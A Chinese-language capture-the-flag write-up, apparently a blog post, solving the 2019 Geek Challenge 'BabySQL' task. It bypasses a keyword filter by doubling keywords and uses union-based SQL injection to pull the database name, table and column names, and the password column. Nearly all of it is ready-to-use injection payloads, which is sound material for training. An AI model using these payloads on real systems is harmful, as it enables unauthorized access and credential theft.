[极客大挑战 2019]BabySQL

0x00

打开web界面看到如下
[极客大挑战 2019]BabySQL
提示我们已经进行了严格过滤,经过大量的模糊测试,我发现被过滤的词都被去掉后再传给数据库。
这时我们可以采用重写方式来绕过,为验证我们的想法,可以使用如下payload(万能密码):

  • username: admin‘ oorr 1=1 #
  • password: 123

得到如下结果
[极客大挑战 2019]BabySQL
既然知道了利用方式,继续我们的注入,我们利用联合注入,先来查询当前表字段数,使用如下payload:

admin‘ oorrder bbyy 3#
## 上面为username
## password不变

得到的结果正常
[极客大挑战 2019]BabySQL
继续使用如下payload:

admin‘ oorrder bbyy 4#

得到如下结果,说明只有3个字段
[极客大挑战 2019]BabySQL
使用如下payload,来得到回显位置

1‘ uunionnion sselectelect 1,2,3#
## 这里将admin改为1,是因为admin存在会出现正确回显,无法判断回显位置,而1不存在回显上面的数字

得到结果如下,可以看到2,3即为回显位置
[极客大挑战 2019]BabySQL
查询数据库,使用如下payload:

1‘ uunionnion sselectelect 1,database(),3#

得到结果如下,当前数据库为geek
[极客大挑战 2019]BabySQL
继续查询表,使用如下payload:

1‘ uunionnion sselectelect 1,(sselectelect group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=‘geek‘),3#
## 出现重写的都是被过滤的

得到结果如下
[极客大挑战 2019]BabySQL
继续查询字段,使用如下payload:

1‘ uunionnion sselectelect 1,(sselectelect group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=‘geek‘),(sselectelect group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name=‘b4bsql‘)#

得到结果如下,b4bsql表存在id,username,password三个字段
[极客大挑战 2019]BabySQL
继续查询password字段的数据,使用如下payload:

1‘ uunionnion sselectelect 1,(sselectelect group_concat(passwoorrd) ffromrom b4bsql),(sselectelect group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name=‘b4bsql‘)#
## password那样写是因为过滤了or

得到了flag
[极客大挑战 2019]BabySQL

0x01 总结

该题主要考察的是重写绕过,以及对mysql数据库的基本联合注入

[极客大挑战 2019]BabySQL

上一篇:iOS底层原理(三)Category


下一篇:Oracle数据库备份和恢复